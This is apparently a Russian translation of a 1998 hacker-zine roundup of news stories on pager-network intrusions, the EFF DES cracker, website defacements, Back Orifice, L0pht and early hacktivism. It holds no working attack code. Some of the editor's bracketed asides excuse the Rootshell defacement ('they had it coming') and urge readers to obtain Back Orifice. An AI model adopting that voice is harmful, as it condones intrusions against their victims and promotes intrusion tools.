Современные ПК столь же мощны, как вчерашние мейнфреймы. С сегодняшними ПК никому не нужно нарушать закон, чтобы исследовать технологии. При наличии правильных инструментов и поддержки родителей дети могут заработать уважение сверстников и получить хороший старт в будущее, освоив последние языки программирования. Если бы мой ребёнок был хакером, я бы посоветовал ему отказаться от мгновенного удовлетворения от взлома компании из Fortune 500 в пользу большего удовлетворения от создания чего-то уникального с нуля.

В конечном счёте именно в этом и заключается истинный смысл хакинга.

---

## **0x15: Сеть пейджинговой связи захвачена**

**Автор:** Крис Оукс

**Дата:** 4:00am, 24.Jul.98

[Статья о не-интернет-взломе! Вот это праздник!]

Кто-то в Техасе на этой неделе воспользовался уязвимостью в пейджинговой сети PageMart, рассылая загадочные сообщения на крошечные экраны по всей стране, вводя в замешательство абонентов и засыпая колл-центр компании звонками.

PageMart сообщила, что случайное открытие позволило нарушителю использовать набор адресных номеров пейджера для отправки сообщений целым группам клиентов, а не отдельным абонентам. Но эксперт по безопасности заявил, что система, возможно, была взломана.

Пресс-секретарь PageMart Бриджет Кавано подробно описала произошедшее в среду в электронном письме в четверг. «Лицо, неизвестное компании PageMart, — сказала она, —

обнаружило, что три PIN-кода [персональных идентификационных номера] на нашем пейджинговом терминале в Далласе фактически являлись почтовыми ящиками».

[фрагмент...]

В среду клиент PageMart и житель Сан-Франциско Джеремайя Келли сообщил, что в течение примерно полутора часов в среду днём получал странные сообщения.

Получив одно непонятное сообщение — неузнаваемое ни по источнику, ни по содержанию — он предположил, что это просто «не тот номер». «Но вдруг — целый шквал», — сказал Келли. Особенно запомнилось повторяющееся сообщение: «There is only one blu bula».

«Я получил его несколько раз, — сказал он. — Ещё в двух сообщениях говорилось "Mike, you're Mom drives a Passat" и одно было сексуально недвусмысленным. Оба последних были подписаны "Christian"». Келли сообщил, что получил около 30 бессмысленных сообщений.

[фрагмент...]

«Инцидент затронул около 1,5 процента наших клиентов по всей стране, — сказала Кавано. — Статистически это небольшое число». PageMart предоставляет числовые и текстовые пейджинговые услуги во всех 50 штатах, Канаде, Мексике, Центральной Америке и Карибском бассейне, обслуживая около 2,7 млн клиентов.

«Это прекрасный пример того, как самоуверенность в итоге может стать причиной проблемы, — сказал Питер Шипли, специалист по анализу и укреплению безопасности систем в аудиторской фирме KPMG Peat Marwick.

Хотя неясно, была ли система PageMart действительно взломана, Шипли отметил, что слабая защита от вторжений встречается слишком часто. «Я занимаюсь такими аудитами безопасности, и в большом числе виденных мной систем пароли легко угадываются — из-за предположения "кому захочется это взламывать?"»

На самом деле пейджинговые службы хранят чрезвычайно ценные данные — от адресов выставления счетов до информации о кредитных картах и не только, отметил Шипли. Не говоря уже о самих сообщениях, которые легко перехватить на их пути через эфир.

«Небольшие компании считают, что они не являются мишенями [для хакеров], — заключил Шипли из KPMG. — Но маленькие компании атакуют так же часто, как и большие. Они — ступеньки лестницы, маленькие рыбки, с которых хакеры начинают».

---

## **0x16: ФБР задерживает хакера, продававшего тайные аккаунты в системе PageNet**

**Дата:** 30 июля 1998 г., 7:28 p.m. EDT

**Источник:** Nando Times

PageNet Inc., один из крупнейших провайдеров беспроводных сообщений, сообщила, что в четверг федеральные агенты арестовали жителя Сан-Диего, который предположительно создавал несанкционированные голосовые почтовые ящики и пейджинговые аккаунты в системе компании, нанеся ущерб на сумму около \$1 млн.

[фрагмент...]

---



## 0x17: Машина EFF для взлома DES вносит честность в криптодебаты

**Дата:** 17 июля 1998 г.

**«ВЗЛОМЩИК DES» EFF ВНОСИТ ЧЕСТНОСТЬ В КРИПТОДЕБАТЫ  
ЭЛЕКТРОННЫЙ РУБЕЖНЫЙ ФОНД ДОКАЗЫВАЕТ НЕНАДЁЖНОСТЬ DES**

САН-ФРАНСИСКО, Калифорния — Электронный рубежный фонд (EFF) сегодня повысил уровень честности в криптополитике, раскрыв информацию о ненадёжности Стандарта шифрования данных (DES). Правительство США долго давило на промышленность, требуя ограничить шифрование стандартом DES (и даже более слабыми формами), не раскрывая при этом, насколько легко его взломать. Продолжение этой политики подвергает риску критически важные инфраструктуры; общество должно выбрать другой путь.

Чтобы доказать ненадёжность DES, EFF построил первое несекретное оборудование для взлома зашифрованных им сообщений. В среду на этой неделе взломщик DES EFF, построенный менее чем за \$250 000, легко выиграл конкурс RSA Laboratory «DES Challenge II» и денежный приз в размере \$10 000. Машине потребовалось менее 3 дней для выполнения задачи, сокрушив предыдущий рекорд в 39 дней, установленный огромной сетью из десятков тысяч компьютеров. Результаты исследования полностью задокументированы в книге, опубликованной на этой неделе EFF и O'Reilly and Associates под названием «Cracking DES: Secrets of Encryption Research, Wiretap Politics, and Chip Design».

[фрагмент...]

---

## 0x18: Сайт о взломах взломали

**Автор:** Пол Феста

**Источник:** CNET News.com

**Дата:** 28 октября 1998 г., 11:30 a.m. PT

Сайт Rootshell.com с новостями и информацией о хакинге и безопасности сам стал темой собственных новостей, пострадав ранним утром от взлома.

Взлом, сохранённый здесь, произошёл сегодня в 5:12 утра PT, по данным Rootshell. Администраторы сняли сайт после обнаружения атаки в 6 утра PT. Сайт был восстановлен через два часа.

«Приняты меры для предотвращения повторного проникновения, и все подробности сейчас передаются в правоохранительные органы в надежде на аресты», — заявил утром администратор Rootshell Кит Нокс.

[Хм. Значит, раздаём скрипты, помогающие каждому недалёкому скрипт-кидди взламывать тысячи сайтов по всему миру... а потом стучим на того, кто взломал нас. Пора встретиться с музыкой. Вот горшок, а вот и котёл. Называйте как хотите — они сами наравались.]

Нокс позже сообщил, что дело было передано в ФБР.

Злоумышленник заменил главную страницу Rootshell.com бессвязным текстом, пересыпанным бранью, а также ссылками на группы и знаменитостей хакерского мира, в том числе на Кевина Митника — осуждённого хакера и неизменный «повод для выступлений».

Злоумышленник также пригрозил ударить по другому хакерскому новостному сайту — AntiOnline.

---

## 0x19: От преступников к веб-поисковикам

**Автор:** Кристен Филиппоски

**Дата:** 4:00am, 15.Jul.98

Поисковая система для борьбы с преступностью, используемая для борьбы с терроризмом и страховым мошенничеством, может вскоре обрести пристанище в одном из ведущих поисковых движков веба. Система под названием VCLAS помогла следователям раскрывать дела по всему миру.

«За 11 дней программное обеспечение PhoneFraud помогло правоохранительным органам Нью-Йорка раскрыть похищение услуг на сумму \$1,2 млрд», — сказал Джей Валентайн, президент и генеральный директор InfoGlide — компании, владеющей пакетом программного обеспечения VCLAS.

Программное обеспечение построено вокруг «Машины поиска по сходству», которая хорошо работает с неточной и сложной информацией — данными, которые, по словам инженера Дэвида Уилера, часто ставят в тупик алгоритмы поиска, основанные на нейронных сетях.

Поиск по сходству хорошо подходит для криминалистической работы, говорит Уилер, поскольку расследования зачастую носят случайный и несвязный характер. Например, если полиция ищет красный автомобиль, а свидетель говорит, что он был бордовым, традиционный поиск по ключевому слову не даст совпадения, поскольку не распознает, что цвета похожи.

---

## 0x1a: Используете Microsoft OS в сети? Примите наши соболезнования

**Дата:** 21 июля 1998 г.

[Одно только название этого стоило того, чтобы включить его в подборку.]

CULT OF THE DEAD COW (cDc) выпустит Back Orifice — инструмент удалённого администрирования MS Windows — на Defcon VI в Лас-Вегасе ([www.defcon.org](http://www.defcon.org)) 1 августа. Запрограммированный Sir Dystic [cDc], Back Orifice является автономной, самоустанавливающейся утилитой, позволяющей пользователю управлять и следить за компьютерами под управлением Windows по сети.

Sir Dystic звучал как перегруженный сисадмин, когда говорил: «Два основных легитимных назначения BO — это удалённая техническая поддержка и мониторинг сотрудников, а также администрирование [сети Windows]».

Back Orifice будет доступен любому желающему его скачать. Что это означает для тех, кто принял швейцарско-сырный подход Microsoft к безопасности? Много всего, по словам Майка Блума, технического директора Gomi Media в Торонто.

[фрагмент...]

Всё это не ускользнуло от внимания Microsoft. Но им, тем не менее, всё равно. Безопасность стоит у них в самом низу списка приоритетов, по словам эксперта по безопасности Русса Купера из NT BUGTRAQ ([www.ntbugtraq.com](http://www.ntbugtraq.com)). «Microsoft не заботится о безопасности, потому что, я считаю, она не думает, что это влияет на её прибыль. И честно говоря, вероятно, не влияет». Красиво. Но независимо от того, по какую сторону файрвола вы находитесь, вы не можете позволить себе не иметь копию Back Orifice. Вот спецификации:

[фрагмент...]

После 3 августа Back Orifice будет доступен на [www.cultdeadcow.com](http://www.cultdeadcow.com) бесплатно.

---

## 0x1b: Эксперт по безопасности объясняет взлом сайта New York Times

**Дата:** 18 сентября 1998 г.

**Автор:** Эллен Мессмер

Хотя New York Times не раскрывает подробностей произошедшего в прошлые выходные, когда её захватила группа хакеров, один эксперт по безопасности разобрался в произошедшем.

Группа хакеров под названием Hackers for Girlies взломала новостной сайт Times в воскресенье. Хакеры захватили сайт, чтобы разместить свой памфлет с изображениями обнажённых тел и выразить протест против ареста хакера Кевина Митника. Times полдня возвращала контроль над своим сервером.

Хакеры нередко взламывают сайты, эксплуатируя уязвимости безопасности в стандартных CGI-скриптах, поставляемых вместе с веб-серверами, по словам Патрика Тейлора, директора по стратегическому маркетингу компании Internet Security Systems в Атланте. Они используют эти скрипты для отправки длинных строк команд, вызывающих переполнение буфера и дающих доступ в операционную систему. Сначала они создают себе аккаунт в системе, а затем устанавливают бэкдор-троян типа rootkit для получения и поддержания root-контроля, объяснил он.

«CGI-скрипты предназначены для передачи команд от веб-сервера к чему-либо в операционной системе — например, для получения информации из базы данных, — сказал Тейлор. — Но нужно избегать излишних CGI-скриптов и полагаться на собственные скрипты».

Times пришлось так долго бороться за возврат контроля над своим веб-сайтом, потому что новейшие трояны разработаны настолько умело, что прячутся внутри операционной системы — зашифрованные или даже имеющие ту же контрольную сумму, что и легитимная операционная система.

«Это коварно — хакер, по сути, имеет удалённое администрирование веб-сервера, — сказал Тейлор. — Нельзя полагаться на резервную копию машины. Возможно, придётся переустановить всю операционную систему».

По совпадению, Times однажды рассматривала возможность использования оборудования ISS, но решила отказаться от него, сказал он. Times отказалась обсуждать какие-либо аспекты работы своего веб-ресурса, заявив, что это «вопрос безопасности».

[Реальная причина этой статьи и цитирование пиар-человека из ISS — может быть? Факт в том, что ISS не проводила аудит сети ни до, ни после взлома. Откуда этот парень знает метод, которым была скомпрометирована машина?]

«Hackers for Girlies» похвастались в своём сообщении о взломе, что «получили root» на серверах Times, и обрушили часть своих нападок на репортёра Times Джона Маркоффа и эксперта по безопасности Цутому Шимомуру за их соответствующие роли в расследовании дела хакера Кевина Митника, находящегося под стражей. Маркофф и Шимомура два года назад совместно написали книгу под названием «Takedown» о правоохранительном преследовании Митника. В своём собственном материале Times сообщила, что хакерский инцидент на nytimes.com может быть связан с предстоящим судебным процессом по делу Митника в январе.

Хотя хакерские тирады и порнография — уже достаточно неприятная находка на веб-сайте, значительно более серьёзный сценарий предполагает незаметную публикацию злоумышленником

слегка изменённой информации, заставляющей читателя воспринимать её как подлинную.

«Это может закончиться как "Война миров", когда люди впали в панику, не зная, что слышат на радио выдуманное», — прокомментировал Дуг Барни, новостной редактор Network World.

---

## 0x1c: Merriam-Webster отключили по старинке

**Дата:** среда, 5 августа 1998 г., 00:41:57 MDT

**Источник:** www.m-w.com

Что произошло?

В четверг вечером, 30 июля, объект, на котором размещён веб-сайт Merriam-Webster, был взломан физически, и его серверы похищены. Нам удалось восстановить ограниченные мощности, но нам необходимо получить новое оборудование от наших поставщиков, прежде чем мы сможем вернуться к полноценной работе. Мы надеемся полностью восстановить работу сайта в течение нескольких дней. Мы приносим извинения за неудобства и просим вас набраться терпения, пока мы разбираемся с ситуацией.

Благодарим вас за терпение.

--Веб-команда Merriam-Webster

[Наверное, не стоило ставить компьютер у окна...]

---

## 0x1d: Длинноволосый хакер творит чудеса

**Источник:** Nando Times

**Дата:** 20 сентября 1998 г.

Хакер по имени Mudge откинул назад длинные волосы, почесал бороду и уставился в экран компьютера. Он знал, что с просматриваемым им трафиком что-то не так, но что именно?

Неделей ранее Mudge и его соратники-хакеры в своём убежище, известном как L0pht — произносится «лофт» — получили некое программное обеспечение, предположительно позволяющее компьютерам общаться между собой в закодированном виде. Но наблюдая за данными, Mudge понял, что кто-то другой делает то же самое и, возможно, даже декодирует их, — чего происходить не должно.

«Значит, вы говорите, что используете DES для обмена данными между компьютерами?» — спросил Mudge представителей производителя программного обеспечения. Да, ответили они, они использовали DES — стандартный метод шифрования, который долгие годы считался практически невзламываемым.

Но это был не DES, подумал Mudge. Это почти как...

Стоп. Он моргнул и почувствовал выброс адреналина. Это было совсем не безопасно. На самом деле кодировка была лишь немного сложнее простых шифров, которые дети придумывают в начальной школе, — где «А» равняется 1, «Б» — 2, и так далее.

Компания продавала это программное обеспечение как защищённый продукт, беря с клиентов до \$10 000. И при этом в нём зияла дыра безопасности, в которую можно было войти парадным шагом.

Вместо того чтобы воспользоваться этим знанием, Mudge встретился с компанией лицом к лицу.

«Вы понимаете, что в ваших коммуникациях между компьютерами нет никакого безопасного или "надёжного" шифрования?» — спросил он.

«Ну...»

«И что вы заявляли об использовании DES для шифрования данных», — настаивал он.

«Это войдёт в следующую ревизию».

Mudge — «настоящий» хакер: тот, кто раньше шнырял по электронной инфраструктуре страны из чистой любви к пониманию того, как она работает. Таких, как он, сегодня встречаются столь же редко, как волка-тимберволфа, и общество наделило их столь же легендарным ореолом.

Как и волка, их когда-то считали чумой. Правоохранительные органы и телекоммуникационные компании расследовали многих из них и арестовывали в конце 1980-х — начале 90-х.

Сегодня многие элитные хакеры прошлого стараются найти себя в легальной работе — за большие деньги от компаний Fortune 500, нанимающих их для исследования компьютерных сетей и поиска слабых мест.

И крайне своевременно. Пустоту, оставленную старыми хакерами, заполнило новое, более деструктивное поколение.

Итак, сегодня Mudge — который, как и другие в хакерском сообществе, использует псевдоним, ведь анонимность спасает от проблем — носит белую шляпу. Будучи частью L0pht, хакерского аналитического центра, он и шестеро соратников ютятся в чердачном пространстве в районе Саут-Энд в Бостоне и по вечерам вскрывают программное обеспечение и компьютерные сети, изучая их устройство.

Обнаруживая уязвимости в якобы защищённых системах, они публикуют свои находки в сети в надежде пристыдить компании, вынудив их устранить проблемы. Свежий пример: они разместили в интернете уведомление о проблеме, делающей Lotus Notes уязвимым для злонамеренных хакеров...

Представитель Lotus заявил, что компании известно об этой уязвимости, но она крайне технична и вряд ли на кого-то повлияет.

Хакеры L0pht нажили врагов в среде промышленных людей, но пользуются уважением. Их даже вызвали свидетельствовать перед Комитетом Сената по государственным делам в мае.

Почему они публикуют свои находки?

«Если эта информация не выйдет наружу, — отвечает Mudge, — тогда она будет только у плохих парней».

«Плохие парни» — это хакерское клише: скрытные подростки, пасущиеся в сети, ворующие номера кредитных карт, взламывающие системы Пентагона и вообще создающие проблемы. Один из участников L0pht — Kingpin — сам был таким негодяем в молодости: его сетевые шалости переходили в реальный мир взлома и проникновения. Сегодня L0pht не даёт ему набедокурить, по его словам.

«Мы как ночной баскетбол для хакеров», — сказал другой участник Weld Pond.

\*\*\*\*

Похоже, число злонамеренных взломов растёт.

Почти двое из трёх компаний сообщили о несанкционированном использовании своих компьютерных систем за прошедший год, по данным исследования Института компьютерной безопасности и ФБР. Другое исследование компании Software AG Americas показало, что 7 процентов компаний сообщили об «очень серьёзном» нарушении безопасности, а ещё 16

процентов — о «тревожных» нарушениях. Однако 72 процента заявили, что вторжения были относительно незначительными и не нанесли ущерба.

Американские компании потратили почти \$6,3 млрд на компьютерную безопасность в прошлом году, по данным исследовательской фирмы DataQuest. Ожидается, что к 2000 году рынок вырастет до \$13 млрд.

Государственные компьютеры тоже уязвимы. Министерство обороны пострадало от почти 250 000 взломов в 1995 году, по данным Государственного контрольного управления. Большинство были обнаружены уже долго после атаки.

Вот почему бизнес хакеров-«хороших парней» процветает.

Джефф Мосс, эксперт по безопасности компании Secure Computing Inc., проводит профессиональную конференцию за \$995 с человека для сетевых администраторов, где хакеры, ставшие консультантами, смешиваются с военным командованием и генеральными директорами.

«Я не чувствую себя продавшимся, — сказал Мосс, отказавшийся рассказывать подробности о своём хакерском прошлом. — Раньше люди делали это, потому что им было это по-настоящему интересно. Теперь можно этим интересоваться и получать за это деньги».

Новостные репортажи объясняют, почему такие услуги востребованы:

— В начале этого месяца хакеры атаковали веб-сайт New York Times, вынудив компанию на несколько часов закрыть его. Пресс-секретарь Нэнси Нилсен заявила, что взлом рассматривается как преступление, а не розыгрыш. Подразделение ФБР по компьютерным преступлениям расследует дело.

— Этой весной двое подростков из Калифорнии были арестованы за попытку взлома компьютеров Пентагона. Израильский подросток Эхуд Тенебаум, также известный как «The Analyzer», сообщил, что был их наставником. Двое юношей из Кloverдейла, Калифорния, в конце июля признали себя виновными и были взяты на испытательный срок.

— Кевин Митник, единственный хакер, попавший в список 10 самых разыскиваемых преступников ФБР, был арестован в 1995 году по обвинению в краже 20 000 номеров кредитных карт. Он остаётся в заключении. Фильм «TakeDown» о электронном следствии, приведшем к поимке Митника, находится в производстве. Комментарии с протестом против уголовного преследования Митника были оставлены в ходе взлома сайта New York Times.

— В 1994 году Владимир Левин, выпускник Санкт-Петербургского технологического университета, предположительно организовал российскую хакерскую группу и похитил \$10 млн с компьютеров Citibank. Год спустя он был арестован Интерполом в лондонском аэропорту Хитроу.

«Скажу вам кое-что», — проворчал Марк Абене однажды вечером за японскими мясными шашлычками. — «Нынешние дети совсем не уважают старших».

Абене, известный среди коллег-хакеров как Phiber Optik, знает, о чём говорит. Он был одним из этих непутёвых ребят в 1980-х, когда открыл для себя телефоны и компьютеры. Почти 10 лет он свободно разгуливал по телефонным компьютерным системам страны и — о, что он там делал и видел.

Кредитные досье знаменитостей были в его распоряжении. Безлимитные бесплатные звонки с украденных номеров карт дальней связи. Частные телефонные линии для приятелей, нигде не зарегистрированные. И сокровенные знания о магистральных каналах, коммутаторах, всём великолепии сети, связывающей Нью-Йорк с остальным миром.

Но билет Абене был аннулирован в январе 1994 года, когда в возрасте 22 лет он вошёл в пенсильванскую тюрьму Скулкилл, чтобы начать отбывать срок в год и один день за компьютерное вторжение. ФБР и Секретная служба называли его угрозой. Судья заявил, что Абене, как

представитель хакерского сообщества, будет показательно наказан.

И всё же в глазах многих в цифровом сообществе преступления Абене были проявлением необузданного любопытства. Он был просто ребёнком, сующим нос куда не следует, делавшим то, что делают мальчишки, — заходившим в места, куда ходить не велено.

Появились значки «Phree Phiber Optik». Многие считали, что Абене воплощал хакерскую этику, провозглашённую его другом и коллегой-хакером Полом Стирой: «Не уничтожай».

С чёрными волосами, разделёнными на прямой пробор и спадающими до середины спины, с тонкой бородкой, обрамляющей рот, 26-летний Абене по-прежнему выглядит как шаловливый мальчишка. Хакинг, говорит он, заложен в мальчиках природой. Когда маленькие дети играют с игрушками, они ломают их, а потом пытаются разобрать, как сложить детали обратно.

Он добавил: «У некоторых из нас это просто не проходит».

И всё же хакеры 1980-х — начала 90-х выросли. Одних поймали, другие просто окончили колледж и вышли из тусовки.

Сегодня многие хотят выглядеть респектабельно, говорит Джереми Раух, эксперт по сетевой безопасности в Secure Computing Inc. Когда приходит время вести переговоры о консалтинговых контрактах с крупными корпорациями, волосы аккуратно причёсываются, костюм заменяет берцы и чёрную футболку, а контркультурная риторика сбавляет обороты.

Хакер из Сан-Франциско, редактирующий онлайн-издание Phrack и использующий псевдоним Route, говорит о своей работе в охранной фирме как о признаке взросления. Он с удовлетворением отмечает, что может работать из дома, писать столько кода, сколько хочет, и никогда не отмечать явку.

«Разве среди нас ещё есть хакеры?» — спросил Майк Годвин, советник Электронного рубежного фонда — группы по защите прав в киберпространстве. В начале 1990-х он активно добивался от организации защиты Абене и других членов кибергруппы Masters of Deception. К 1993 году, по его словам, истерия вокруг хакеров начала спадать, уступив место страху перед порнографией.

«Никогда не было особо много хакеров», — сказал он — во всяком случае, серьёзных. В основном они были и остаются «этим крошечным меньшинством 13–18-летних, научившихся звонить на дальние расстояния бесплатно».

Сегодняшние молодые хакеры тянут программы из сети, которые автоматически вынюхивают пароли и открывают бэкдоры. Это эквивалент того, чтобы дёрнуть каждую дверь на улице и в итоге поймать удачу — наткнуться на незапертую.

Что касается настоящих хакеров первого поколения, Годвин сказал: «Эти ребята по-настоящему умны и по-настоящему увлечены технологиями. И в основном они безобидны».

\*\*\*

Что думают об этом всё молодые хакеры?

Не особо много, если судить по интервью на DefCon6.0 — шестом ежегодном хакерском форуме и вечеринке, прошедшей в Лас-Вегасе в конце июля.

Одни говорили, что взламывают ради знания. Другие занимали контркультурную позицию: взлом как гражданское неповиновение. Они не называли имён и не говорили конкретно ни о каких криминальных действиях. Казалось, они хотели предстать перед всеми чистыми листами, на которых страхи их не подключённых к сети старших могут быть запечатлены.

На DefCon они в какой-то момент устроили акцию с вонючими бомбами и разыграли другие подростковые шутки.

«Просим к телефону мистера Митника», — бубнил интерком в конференц-залах отеля-казино. Ничего не подозревающий сотрудник отеля повторял вызов для заключённого хакера. «Просим к телефону мистера Кевина Митника».

Парни с конскими хвостами в чёрном ухмылялись. Попались.

Под аккомпанемент хардкорной и техно-музыки они слюнявили новое программное обеспечение и рылись в кучах выставленного на продажу добра: компьютерное оборудование, конечно, но ещё больше книг о теориях заговора, защите частной жизни и методах полиции, чем любой параноик мог бы пожелать.

Среди названий: «Scanners & Secret Frequencies», «Secrets of a Super Hacker», даже «Throbbing Modems».

Ребята валили на доклад L0pht — хакеров в «белых шляпах» — на DefCon.

«Мы сейчас в промежуточном поколении, — сказал организатор конференции Мосс. — Есть ваши оригинальные хакеры из MIT — старая школа, — которые уже устоялись. Они отцы-основатели этой информационной революции. Есть мы — те, кто наблюдал, как компьютеры переходили от мейнфрейма к настольному ПК, а потом к ноутбуку. И есть молодое поколение, которое всегда знало компьютеры».

---

## 0x1e: Вещественные доказательства

**Автор:** Беверли Хэнли

**Дата:** 4:00am, 5.Aug.98

Настоящих преступников судят в настоящих судах — так почему бы не судить виртуальных преступников в виртуальных судах?

Несколько правоведов из Института искусств и гражданского диалога (IACD) размышляют над этим вопросом и соберутся в среду, чтобы обсудить, являются ли виртуальные суды наилучшим форумом для процессов по киберпреступлениям и может ли виртуальная правовая система привести к новым правовым процессам в реальном мире.

Эксперты присоединятся к мультимедиа-художнику Шу Ля Чин, создателю проекта Brandon, на веб-трансляции форума с 20:00 до 23:00 EDT в Гарвардской школе права.

Группа разыгрывает вымышленную судебную драму, основанную на ряде споров, связанных с киберэтикетом, гендерной идентичностью и размытой границей между фантазией и реальностью — в качестве первого публичного форума в рамках годового проекта Brandon, заказанного нью-йоркским музеем Гуггенхайма. Проект Brandon исследует вопросы гендерной идентичности и последствия экспериментирования с сексуальностью в реальной жизни и в киберпространстве.

Продолжающиеся медийные и правовые дебаты о языке ненависти и распространении сексуального контента в интернете — вредны ли они и для кого — составят тематику показательного судебного процесса.

В роли режиссёра судебного заседания выступит гарвардский театральный директор Лиз Даймонд совместно с Чин. Актёры сыграют роли жертв и преступников, а профессора права из Гарварда, Университета Вирджинии и Колумбийского университета выступят в роли «постоянных присяжных», изучающих и комментирующих правовые аспекты.

«Это площадка, где вы можете экспериментировать с процессом и существом этих [кибер-правовых] дел, — сказала Дженнифер Мнукин, профессор права в Школе права Вирджинии



в Шарлоттсвилле, которая примет участие в заседании. — Она считает, что виртуальные миры, подобные LambdaMOO, могут стать новой и более подходящей ареной для разрешения споров».

«Отчасти речь идёт о том, насколько человек может быть ранен словами, — сказала Мнукин. — Тот, кто совершает нарушение в киберпространстве, не обязательно должен нести последствия в реальных залах суда. Нечто вроде LambdaMOO "кибернасилие" было правомерно урегулировано в виртуальном суде. Нарушитель был выдворен из этого мира, его виртуальная личность была уничтожена — он был "превращён в жабу". То, что является нарушением в одном мире, может не являться таковым в другом».

Виртуальные наказания также могут переходить из одного мира в другой. Чин в своём виртуальном суде предлагает идею «виртуальной кастрации» как альтернативу «химической кастрации», которую некоторые отстаивают как способ работы с сексуальными преступниками.

Августовское публичное мероприятие в Кембридже, Массачусетс, — первая возможность для Чин взаимодействовать одновременно с живой и онлайн-аудиторией с момента начала проекта Brandon 20 июня.

«Тест послужит основой для построения дигиархитектурного пространства виртуального суда в [планируемом] виртуальном музее Гуггенхайма, — сказала Чин, которая совместно с архитектором физических пространств создаст "зал суда" в музее. — Моя работа всегда сочетала реальное и виртуальное пространство».

Пользователям сети не нужно ничего, кроме подключения к интернету, чтобы настроиться на показательный процесс. Но Чин также хочет охватить аудиторию, не имеющую доступа к сетевым технологиям.

Все желающие из района Гарварда могут физически посетить инсценированный процесс. В Нью-Йорке уличная аудитория может посетить видеостену Guggenheim SoHo, состоящую из 75 смежных 40-дюймовых проекционных кубов. Видеостена будет отображать изображения из проекта Brandon, а зрители смогут взаимодействовать в запланированное время.

«Мы не уверены, как пройдёт "эксперимент" с аудиторией, — сказала Чин. — Может, у нас всё провалится. Но именно эта неопределённость, это ощущение, что мы исследуем новую почву в публичном взаимодействии, меня и моих коллег в Институте волнует больше всего».

Профессор права Мнукин рассматривает эксперимент как площадку, способную открыть диалог по вопросам кибер-права. «Что меня интересует в "виртуальном праве" — это то, что в нём гораздо очевиднее, чем в реальном мире, что правила пластичны и создаются самими участниками.

«В реальном мире легко воспринимать правовые процессы как данность, предполагать, что их нельзя легко изменить, — продолжила она. — Если виртуальные миры используются как лаборатории, проще распознать возможности для изменений — как внутри виртуальной среды, так и, возможно, в реальном мире тоже».

Проект Brandon размещается в Гарварде совместно с новым IACD до 14 августа. IACD объединяет художников в различных медиа с сообществом учёных, журналистов и гражданских активистов для исследования актуальных событий и противоречий.

После показательного процесса Чин переедет в Амстердам, Нидерланды, для подготовки следующей живой инсталляции проекта: «Digi Gender, Social Body: Under the Knife, Under the Spell of Anesthesia» — веб-трансляция запланирована на сентябрь 1998 года. «Встаньте, присяжные! Преступление и наказание как сетевое зрелище» запланировано на май 1999 года.

---

## 0x1f: Золотой век хактивизма

**Автор:** Ниалл МакКей

**Дата:** 4:00 a.m., 22.Sep.98

Накануне всеобщих выборов в Швеции интернет-диверсанты атаковали веб-сайт правоконсервативной партии «Умеренные», осквернив страницы и установив ссылки на главные страницы левой партии и порнографического сайта.

Однако скандинавский взлом в субботу был не делом рук скучающих подростков с Unix-аккаунтом, куском легко компилируемого кода и несколькими свободными часами. Он продвигал конкретную политическую повестку.

«Будущее активизма — в интернете, — сказал Стэнтон МакКандлиш, программный директор Электронного рубежного фонда. — Всё больше и больше оффлайн-вопросы — например, протесты против обращения с сапатистами в Мексике — переходят в сеть».

В сообществе компьютерной безопасности это называется «хактивизмом» — своего рода электронным гражданским неповиновением, при котором активисты предпринимают прямые действия, взламывая правительственные или корпоративные компьютерные системы или протестуя с их помощью. Это разновидность информационной войны низкого уровня, и она набирает обороты.

На прошлой неделе, например, группа хакеров под названием X-pilot переписала главную страницу мексиканского государственного сайта, протестуя против того, что они называли случаями правительственной коррупции и цензуры. Группа, не ответившая на несколько писем, сделала заявление в Hacker News Network. Хактивисты переносили оффлайн-проблему в онлайн-мир, сказал МакКэндлиш.

Явление настолько распространилось, что в следующем месяце давняя группа компьютерной безопасности Cult of the Dead Cow запустит ресурсный сайт hacktivism.org. На сайте будут размещены онлайн-семинары, демонстрации и программные инструменты для цифровых активистов.

«Мы хотим предоставить ресурсы для расширения возможностей людей, желающих участвовать в активизме в интернете», — сказал Oxblood Ruffian, бывший консультант ООН, состоящий в Cult of the Dead Cow.

Группа Oxblood Ruffian не новичок в хактивизме. Они сотрудничают с Hong Kong Blondes — почти мифической группой китайских диссидентов, которые внедряются в полицейские и охранные сети Китая, стремясь заблаговременно предупреждать политических мишеней о предстоящих арестах.

В недавней статье Wired News один из членов группы заявил, что будет атаковать сети и веб-сайты американских компаний, ведущих бизнес с Китаем.

К другим недавним хактивистским акциям относится волна атак в августе, привлёкших внимание к предполагаемым нарушениям прав человека в Индонезии. В июне атаки на компьютерные системы индийской лаборатории исследований атомной энергии были направлены против ядерных испытаний этой страны.

Совсем недавно, в День независимости Мексики, базирующаяся в США группа Electronic Disturbance Theater атаковала веб-сайт президента Мексики Эрнесто Седильо. Акция была направлена против предполагаемого жестокого обращения Седильо с повстанцами-сапатистами в Чьяпасе. В цифровой сидячей забастовке приняли участие около 8 000 человек, предпринявших попытку перегрузить веб-серверы президента Мексики.

«То, что мы пытаемся сделать, — это найти место, где общественность может выразить своё недовольство в киберпространстве, чтобы обычный пользователь мог участвовать в публичном протесте», — сказал соучредитель EDT Рикардо.

По всей видимости, рост хактивизма частично обусловлен возрастающей значимостью интернета как средства коммуникации. По мере того как всё больше людей выходят в сеть, веб-сайты становятся высокопрофильными целями.

Это также демонстрирует, что многие государственные сайты довольно легко взломать, сказал бывший участник Milw0rm — ныне несуществующей группы, которая осквернила веб-сайт индийской исследовательской лаборатории. В интервью в IRC взломщик перечислил список уязвимых сайтов правительства США — в том числе с электронным ускорителем частиц и принадлежащий американскому политику — и описал их подверженность ошибкам.

«Им не хватает денег на специалистов по компьютерам, — сказал взломщик, использующий имя t3k-9. — Получают \$50 000 за работу на \$150 000».

Некоторые эксперты по безопасности также полагают, что появляется новое поколение взломщиков. «Рост политического взлома за последние несколько лет связан с тем, что сейчас вырастает первое поколение детей, которые выросли в сети, — говорит Джон Вранесевич, основатель сайта компьютерной безопасности AntiOnline. — Первое поколение детей, выросших с хакингом, сейчас в возрасте от 25 до 35 лет — часто самый политически активный период в жизни людей».

«Когда Cult of the Dead Cow был основан в 1984 году, средний возраст [наших членов] составлял 14 лет, и они тратили время на взлом автоматов с газировкой, — сказал Oxblood Ruffian. — Но последние пару лет стали для нас переломными. Наши члены стали старше, политизированы и крайне технически подготовлены».

Пока хактивисты выстраиваются по одну сторону, полиция и правоохранительные органы занимают позиции по другую.

В этом году ФБР создаст центр кибервойны под названием Национальный центр защиты инфраструктуры. Организация с бюджетом \$64 млн заменит Центр расследования компьютерных преступлений и оценки угроз инфраструктуре и привлечёт к работе разведывательное сообщество и армию.

